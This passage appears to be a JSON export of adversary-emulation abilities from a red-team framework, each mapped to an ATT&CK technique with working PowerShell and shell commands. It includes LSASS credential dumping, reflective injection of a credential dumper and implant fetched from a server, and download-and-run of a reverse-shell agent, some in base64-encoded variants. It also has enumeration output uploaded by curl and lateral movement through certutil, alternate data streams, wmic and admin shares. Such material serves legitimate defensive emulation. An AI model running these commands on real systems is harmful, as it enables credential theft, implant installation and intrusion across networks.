"platform": "windows", "command": "$env:username", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.user.name", "edge": "", "target": "", "custom_parser_vals": {}}, {"source": "domain.user.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "echo %username%", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.user.name", "edge": "", "target": "", "custom_parser_vals": {}}, {"source": "domain.user.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "feaced8f-f43f-452a-9500-a5219488abb8", "tactic": "discovery", "technique_name": "Account Discovery: Local Account", "technique_id": "T1087.001", "name": "Identify local users", "description": "Identify all local users", "executors": [{"name": "sh", "platform": "darwin", "command": "dscl . list /Users | grep -v '_'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Get-WmiObject -Class Win32_UserAccount", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3796a00b-b11d-4731-b4ca-275a07d83299", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "Impersonate user", "description": "Run an application as a different user", "executors": [{"name": "psh", "platform": "windows", "command": "$job = Start-Job -ScriptBlock {\n  $username = '#{host.user.name}';\n  $password = '#{host.user.password}';\n  $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;\n  $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;\n  Start-Process Notepad.exe -NoNewWindow -PassThru -Credential $credential;\n};\nReceive-Job -Job $job -Wait;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.user.name"}]}, {"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "host.user.name", "edge": "has_password", "target": "host.user.password"}]}], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "c9f2c7ae-0092-4ea0-b9ae-92014eba7ce7", "tactic": "credential-access", "technique_name": "Process Injection: Portable Executable Injection", "technique_id": "T1055.002", "name": "Inject Cred dumper into process (Spookier)", "description": "Injects cred dumper exe into an available process", "executors": [{"name": "psh", "platform": "windows", "command": "$url=\"#{server}/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"file\",\"debugger.dll\");\n$PBytes = $wc.DownloadData($url);\n$wc1 = New-Object System.net.webclient;\n$wc1.headers.add(\"file\",\"Invoke-ReflectivePEInjection.ps1\");\nIEX ($wc1.DownloadString($url));\nInvoke-ReflectivePEInjection -PBytes $PBytes -verbose", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "a398986f-31b0-436a-87e9-c8e82c028f3c", "tactic": "defense-evasion", "technique_name": "Process Injection: Portable Executable Injection", "technique_id": "T1055.002", "name": "Inject Sandcat into process", "description": "Injects sandcat DLL into an available process", "executors": [{"name": "psh", "platform": "windows", "command": "$url=\"#{server}/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"shared.go\");\n$wc.Headers.add(\"server\",\"#{server}\");\n$PEBytes = $wc.DownloadData($url);\n$wc1 = New-Object System.net.webclient;\n$wc1.headers.add(\"file\",\"Invoke-ReflectivePEInjection.ps1\");\nIEX ($wc1.DownloadString($url));\nInvoke-ReflectivePEInjection -verbose -PBytes $PEbytes -ProcId #{host.process.id}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.process.id"}]}], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "eb814e03-811a-467a-bc6d-dcd453750fa2", "tactic": "command-and-control", "technique_name": "Ingress Tool Transfer", "technique_id": "T1105", "name": "Install PSTools", "description": "Download and install PSTools by unzipping the file", "executors": [{"name": "psh", "platform": "windows", "command": "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };\n$web = (New-Object System.Net.WebClient);\n$result = $web.DownloadFile(\"https://download.sysinternals.com/files/PSTools.zip\", \"PSTools.zip\");\nNew-Item -ItemType \"directory\" C:\\Windows\\System32\\PSTools -Force;\nAdd-Type -Assembly 'System.IO.Compression.FileSystem'; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"PSTools.zip\", \"C:\\Windows\\System32\\PSTools\");", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["command-and-control"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "60f63260-39bb-4136-87a0-b6c2dca799fc", "tactic": "command-and-control", "technique_name": "Ingress Tool Transfer", "technique_id": "T1105", "name": "Install PowerShell Core 6", "description": "Download, install and start new process under PowerShell Core 6", "executors": [{"name": "psh", "platform": "windows", "command": "$wc=New-Object System.Net.WebClient;\n$output=\"PowerShellCore.msi\";\n$wc.DownloadFile(\"https://github.com/PowerShell/PowerShell/releases/download/v6.2.2/PowerShell-6.2.2-win-x64.msi\", $output);\nStart-Process msiexec.exe -ArgumentList \"/package PowerShellCore.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1\" -Wait;\n$env:Path += \";C:\\Program Files\\Powershell\\6\";\nStart-Process pwsh -ArgumentList \"-c #{location} -server #{server} - group #{group}\" -WindowStyle hidden;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["rm PowerShellCore.msi;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["command-and-control"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "c9be8043-a445-4cbf-b77b-ed7bb007fc7c", "tactic": "discovery", "technique_name": "Software Discovery", "technique_id": "T1518", "name": "Internet Explorer Version", "description": "Determine the version of Internet Explorer running", "executors": [{"name": "psh", "platform": "windows", "command": "(Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Internet Explorer').Version", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "68235976-2404-42a8-9105-68230cfef562", "tactic": "impact", "technique_name": "Defacement", "technique_id": "T1491", "name": "Invoke-MemeKatz", "description": "Downloads random meme and sets as desktop background", "executors": [{"name": "psh", "platform": "windows", "command": ".\\Invoke-MemeKatz.ps1", "code": null, "language": null, "build_target": null, "payloads": ["Invoke-MemeKatz.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": ".\\Invoke-MemeKatz.ps1", "code": null, "language": null, "build_target": null, "payloads": ["Invoke-MemeKatz.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "powershell.exe -ep bypass -c \"Invoke-MemeKatz.ps1\"", "code": null, "language": null, "build_target": null, "payloads": ["Invoke-MemeKatz.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "96d3c175-5e58-424c-8350-d7514b28a075", "tactic": "lateral-movement", "technique_name": "Lateral Tool Transfer", "technique_id": "T1570", "name": "Lateral Movement - Certutil", "description": "Uses CertUtil as a LoL technique to move the .exe agent as a certificate using windows-signed binaries", "executors": [{"name": "psh", "platform": "windows", "command": "certutil -encode #{location} C:\\users\\public\\com.crt | out-null;\ninvoke-command #{remote.host.fqdn} -scriptblock { certutil -decode \\\\#{local.host.fqdn}\\c$\\users\\public\\com.crt #{location}; invoke-wmimethod -computername . -class win32_process -name Create -argumentlist \"C:\\users\\public\\splunkd.exe -server #{server} -group red\" }\n", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["rm C:\\users\\public\\com.crt"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.not_exists", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_agent_copy"}]}, {"module": "plugins.stockpile.app.requirements.no_backwards_movement", "relationship_match": [{"source": "remote.host.fqdn"}]}], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "22881b9d-0efa-4ef4-9704-df0f11170cc3", "tactic": "lateral-movement", "technique_name": "Hide Artifacts: NTFS File Attributes", "technique_id": "T1564.004", "name": "Lateral Movement - esentutl", "description": "Tool transfer to lateral hosts using Alternate Data Streams to hide implant", "executors": [{"name": "psh", "platform": "windows", "command": "esentutl.exe /y #{location} /d \\\\#{remote.host.fqdn}\\c$\\users\\public\\splunk.log:#{exe_name}; invoke-command #{remote.host.fqdn} -scriptblock { wmic process call create \"C:\\users\\public\\splunk.log:#{exe_name} -server #{server} -group red\" }", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.not_exists", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_agent_copy"}]}, {"module": "plugins.stockpile.app.requirements.no_backwards_movement", "relationship_match": [{"source": "remote.host.fqdn"}]}], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "47d08617-5ce1-424a-8cc5-c9c978ce6bf9", "tactic": "impact", "technique_name": "Defacement", "technique_id": "T1491", "name": "Leave note", "description": "Create a text file for the user to find", "executors": [{"name": "sh", "platform": "darwin", "command": "echo \"proof that this machine was hacked.\" > message.txt", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "echo \"proof that this machine was hacked.\" > message.txt", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Set-Content -Path 'message.txt' -Value 'proof that this machine was hacked.'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0ef4cc7b-611c-4237-b20b-db36b6906554", "tactic": "credential-access", "technique_name": "OS Credential Dumping: LSASS Memory", "technique_id": "T1003.001", "name": "Leverage Procdump for lsass memory", "description": "Dump lsass for later use with mimikatz", "executors": [{"name": "psh", "platform": "windows", "command": "$ps_url = \"https://download.sysinternals.com/files/Procdump.zip\";\n$download_folder = \"C:\\Users\\Public\\\";\n$staging_folder = \"C:\\Users\\Public\\temp\";\nStart-BitsTransfer -Source $ps_url -Destination $download_folder;\nExpand-Archive -LiteralPath $download_folder\"Procdump.zip\" -DestinationPath $staging_folder;\n$arch=[System.Environment]::Is64BitOperatingSystem;\n\nif ($arch) {\n    iex $staging_folder\"\\procdump64.exe -accepteula -ma lsass.exe\" > $env:APPDATA\\error.dmp 2>&1;\n} else {\n    iex $staging_folder\"\\procdump.exe -accepteula -ma lsass.exe\" > $env:APPDATA\\error.dmp 2>&1;\n}\nremove-item $staging_folder -Recurse;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "46098c66-8d9a-4d23-8a95-dd5021c385ae", "tactic": "discovery", "technique_name": "System Information Discovery", "technique_id": "T1082", "name": "Linux Enumeration & Privilege Escalation Discovery Script", "description": "Download and execute LinEnum.sh", "executors": [{"name": "sh", "platform": "linux", "command": "wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh;\nchmod +x LinEnum.sh;\n./LinEnum.sh > /tmp/exfil.txt;\ncurl -F 'data=@/tmp/exfil.txt' #{server}/file/upload ;\ncat /tmp/exfil.txt;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["rm ./LinEnum.sh;\nrm /tmp/exfil.txt;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "52177cc1-b9ab-4411-ac21-2eadc4b5d3b8", "tactic": "discovery", "technique_name": "File and Directory Discovery", "technique_id": "T1083", "name": "List Directory", "description": "List contents of current directory", "executors": [{"name": "sh", "platform": "darwin", "command": "ls", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "ls", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "dir", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "bed8f28e-c0ed-463e-9e31-d5607e5473df", "tactic": "build-capabilities", "technique_name": "Build or acquire exploits", "technique_id": "T1349", "name": "Load Metasploit Abilities", "description": "Load Metasploit Abilities", "executors": [{"name": "sh", "platform": "darwin", "command": "msfconsole -r msf_extract.rb #{app.contact.http} #{app.api_key.red}", "code": null, "language": null, "build_target": null, "payloads": ["msf_extract.rb"], "uploads": [], "timeout": 1000, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "msfconsole -r msf_extract.rb #{app.contact.http} #{app.api_key.red}", "code": null, "language": null, "build_target": null, "payloads": ["msf_extract.rb"], "uploads": [], "timeout": 1000, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["build-capabilities"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "access", "delete_payload": true}, {"ability_id": "74d1b640-7f1e-4b36-beba-23a8228f39e0", "tactic": "discovery", "technique_name": "host discovery", "technique_id": "TA0007", "name": "Local FQDN", "description": "Uses windows libraries to get FQDN of infected host", "executors": [{"name": "psh", "platform": "windows", "command": "[System.Net.Dns]::GetHostByName($env:computerName).HostName", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "local.host.fqdn", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": false}, {"ability_id": "a41c2324-8c63-4b15-b3c5-84f920d1f226", "tactic": "discovery", "technique_name": "File and Directory Discovery", "technique_id": "T1083", "name": "Locate file from printer queue", "description": "Locate file that appears in the printer queue", "executors": [{"name": "sh", "platform": "linux", "command": "find ~ -type f -name #{host.print.file} 2>/dev/null", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.system.path", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "find ~ -type f -name #{host.print.file} 2>/dev/null", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.system.path", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "356d1722-7784-40c4-822b-0cf864b0b36d", "tactic": "command-and-control", "technique_name": "Ingress Tool Transfer", "technique_id": "T1105", "name": "Manx", "description": "A reverse-shell agent which communicates via the TCP contact", "executors": [{"name": "sh", "platform": "darwin", "command": "server=\"#{app.contact.http}\";\nsocket=\"#{app.contact.tcp}\";\ncontact=\"tcp\";\ncurl -s -X POST -H \"file:manx.go\" -H \"platform:darwin\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -http $server -socket $socket -contact $contact -v", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [{"description": "Run against the UDP contact", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4Ijtzb2NrZXQ9IjAuMC4wLjA6NzAxMSI7Y29udGFjdD0idWRwIjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6bWFueC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgJHNlcnZlci9maWxlL2Rvd25sb2FkID4gI3thZ2VudHMuaW1wbGFudF9uYW1lfTtjaG1vZCAreCAje2FnZW50cy5pbXBsYW50X25hbWV9Oy4vI3thZ2VudHMuaW1wbGFudF9uYW1lfSAtaHR0cCAkc2VydmVyIC1zb2NrZXQgJHNvY2tldCAtY29udGFjdCAkY29udGFjdCAtdg=="}, {"description": "Download with a random name and start as a background process", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4Ijtzb2NrZXQ9IjAuMC4wLjA6NzAxMCI7Y29udGFjdD0idGNwIjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6bWFueC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgJHNlcnZlci9maWxlL2Rvd25sb2FkIDI+JjEgfCBncmVwIC1pICJDb250ZW50LURpc3Bvc2l0aW9uIiB8IGdyZXAgLWlvICJmaWxlbmFtZT0uKiIgfCBjdXQgLWQnPScgLWYyIHwgdHIgLWQgJyJccicpICYmIGNobW9kICt4ICRhZ2VudCAyPi9kZXYvbnVsbDtub2h1cCAuLyRhZ2VudCAtaHR0cCAkc2VydmVyIC1zb2NrZXQgJHNvY2tldCAtY29udGFjdCAkY29udGFjdCAm"}], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "server=\"#{app.contact.http}\";\nsocket=\"#{app.contact.tcp}\";\ncontact=\"tcp\";\ncurl -s -X POST -H \"file:manx.go\" -H \"platform:linux\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -http $server -socket $socket -contact $contact -v", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [{"description": "Run against the UDP contact", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4Ijtzb2NrZXQ9IjAuMC4wLjA6NzAxMSI7Y29udGFjdD0idWRwIjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6bWFueC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAkc2VydmVyL2ZpbGUvZG93bmxvYWQgMj4mMSB8IGdyZXAgLWkgIkNvbnRlbnQtRGlzcG9zaXRpb24iIHwgZ3JlcCAtaW8gImZpbGVuYW1lPS4qIiB8IGN1dCAtZCc9JyAtZjIgfCB0ciAtZCAnIlxyJykgJiYgY2htb2QgK3ggJGFnZW50IDI+L2Rldi9udWxsO25vaHVwIC4vJGFnZW50IC1odHRwICRzZXJ2ZXIgLXNvY2tldCAkc29ja2V0IC1jb250YWN0ICRjb250YWN0ICY="}, {"description": "Download with a random name and start as a background process", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4Ijtzb2NrZXQ9IjAuMC4wLjA6NzAxMCI7Y29udGFjdD0idGNwIjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6bWFueC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAkc2VydmVyL2ZpbGUvZG93bmxvYWQgMj4mMSB8IGdyZXAgLWkgIkNvbnRlbnQtRGlzcG9zaXRpb24iIHwgZ3JlcCAtaW8gImZpbGVuYW1lPS4qIiB8IGN1dCAtZCc9JyAtZjIgfCB0ciAtZCAnIlxyJykgJiYgY2htb2QgK3ggJGFnZW50IDI+L2Rldi9udWxsO25vaHVwIC4vJGFnZW50IC1odHRwICRzZXJ2ZXIgLXNvY2tldCAkc29ja2V0IC1jb250YWN0ICRjb250YWN0ICY="}], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "if ($host.Version.Major -ge 3){$ErrAction= \"ignore\"}else{$ErrAction= \"SilentlyContinue\"};\n$server=\"#{app.contact.http}\";\n$socket=\"#{app.contact.tcp}\";\n$contact=\"tcp\";\n$url=\"$server/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"manx.go\");\n$data=$wc.DownloadData($url);\nGet-Process | ? {$_.Path -like \"C:\\Users\\Public\\#{agents.implant_name}.exe\"} | stop-process -f -ea $ErrAction;\nrm -force \"C:\\Users\\Public\\#{agents.implant_name}.exe\" -ea $ErrAction;\n([io.file]::WriteAllBytes(\"C:\\Users\\Public\\#{agents.implant_name}.exe\",$data)) | Out-Null;\nStart-Process -FilePath C:\\Users\\Public\\#{agents.implant_name}.exe -ArgumentList \"-socket $socket -http $server -contact $contact\" -WindowStyle hidden;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [{"description": "Run against the UDP contact", "command": "aWYgKCRob3N0LlZlcnNpb24uTWFqb3IgLWdlIDMpeyRFcnJBY3Rpb249ICJpZ25vcmUifWVsc2V7JEVyckFjdGlvbj0gIlNpbGVudGx5Q29udGludWUifTskc2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4Ijskc29ja2V0PSIwLjAuMC4wOjcwMTEiOyRjb250YWN0PSJ1ZHAiOyR1cmw9IiRzZXJ2ZXIvZmlsZS9kb3dubG9hZCI7JHdjPU5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHdjLkhlYWRlcnMuYWRkKCJwbGF0Zm9ybSIsIndpbmRvd3MiKTskd2MuSGVhZGVycy5hZGQoImZpbGUiLCJtYW54LmdvIik7JGRhdGE9JHdjLkRvd25sb2FkRGF0YSgkdXJsKTtHZXQtUHJvY2VzcyB8ID8geyRfLlBhdGggLWxpa2UgIkM6XFVzZXJzXFB1YmxpY1wje2FnZW50cy5pbXBsYW50X25hbWV9LmV4ZSJ9IHwgc3RvcC1wcm9jZXNzIC1mIC1lYSAkRXJyQWN0aW9uO3JtIC1mb3JjZSAiQzpcVXNlcnNcUHVibGljXCN7YWdlbnRzLmltcGxhbnRfbmFtZX0uZXhlIiAtZWEgJEVyckFjdGlvbjsoW2lvLmZpbGVdOjpXcml0ZUFsbEJ5dGVzKCJDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUiLCRkYXRhKSkgfCBPdXQtTnVsbDtTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCBDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUgLUFyZ3VtZW50TGlzdCAiLXNvY2tldCAkc29ja2V0IC1odHRwICRzZXJ2ZXIgLWNvbnRhY3QgJGNvbnRhY3QiIC1XaW5kb3dTdHlsZSBoaWRkZW47"}], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["command-and-control"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "manx", "delete_payload": true}, {"ability_id": "3c647015-ab0a-496a-8847-6ab173cd2b22", "tactic": "credential-access", "technique_name": "OS Credential Dumping", "technique_id": "T1003", "name": "MiniDumpWriteDump (Spooky)", "description": "Custom GO credential dumper using minidumpwritedump", "executors": [{"name": "psh", "platform": "windows", "command": ".\\totallylegit.exe #{host.process.id} C:\\Users\\Public\\creds.dmp", "code": null, "language": null, "build_target": null, "payloads": ["totallylegit.exe"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["if (Test-Path \"C:\\Users\\Public\\creds.dmp\") {\n  rm \"C:\\Users\\Public\\creds.dmp\" -Force;\n};"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.process.id"}]}], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "aa6ec4dd-db09-4925-b9b9-43adeb154686", "tactic": "lateral-movement", "technique_name": "Remote Services: SMB/Windows Admin Shares", "technique_id": "T1021.002", "name": "Mount Share", "description": "Mount a windows share", "executors": [{"name": "psh", "platform": "windows", "command": "net use \\\\#{remote.host.fqdn}\\C$ /user:#{domain.user.name} #{domain.user.password}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.share_mounted", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_share", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["net use \\\\#{remote.host.fqdn}\\C$ /delete"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.not_exists", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_share"}]}, {"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "domain.user.name", "edge": "has_password", "target": "domain.user.password"}]}, {"module": "plugins.stockpile.app.requirements.req_like", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_admin", "target": "domain.user.name"}]}, {"module": "plugins.stockpile.app.requirements.reachable", "relationship_match": [{"source": "remote.host.fqdn", "edge": "isAccessibleFrom"}]}, {"module": "plugins.stockpile.app.requirements.no_backwards_movement", "relationship_match": [{"source": "remote.host.fqdn"}]}], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e5f9de8f-3df1-4e78-ad92-a784e3f6770d", "tactic": "defense-evasion", "technique_name": "PowerShell", "technique_id": "T1059.001", "name": "Move Powershell & triage", "description": "Copy powershell to non-standard location and perform triage commands", "executors": [{"name": "psh", "platform": "windows", "command": "Copy-Item C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Windows\\Temp\\debug.exe;\nC:\\Windows\\Temp\\debug.exe get-process >> C:\\Windows\\temp\\debug.log;\nC:\\Windows\\Temp\\debug.exe get-localgroup >> C:\\Windows\\temp\\debug.log;\nC:\\Windows\\Temp\\debug.exe get-localuser >> C:\\Windows\\temp\\debug.log;\nC:\\Windows\\Temp\\debug.exe Get-ItemProperty Registry::HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion >> C:\\Windows\\temp\\debug.log;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "567eaaba-94cc-4a27-83f8-768e5638f4e1", "tactic": "technical-information-gathering", "technique_name": "Conduct active scanning", "technique_id": "T1254", "name": "NMAP scan", "description": "Scan an external host for open ports and services", "executors": 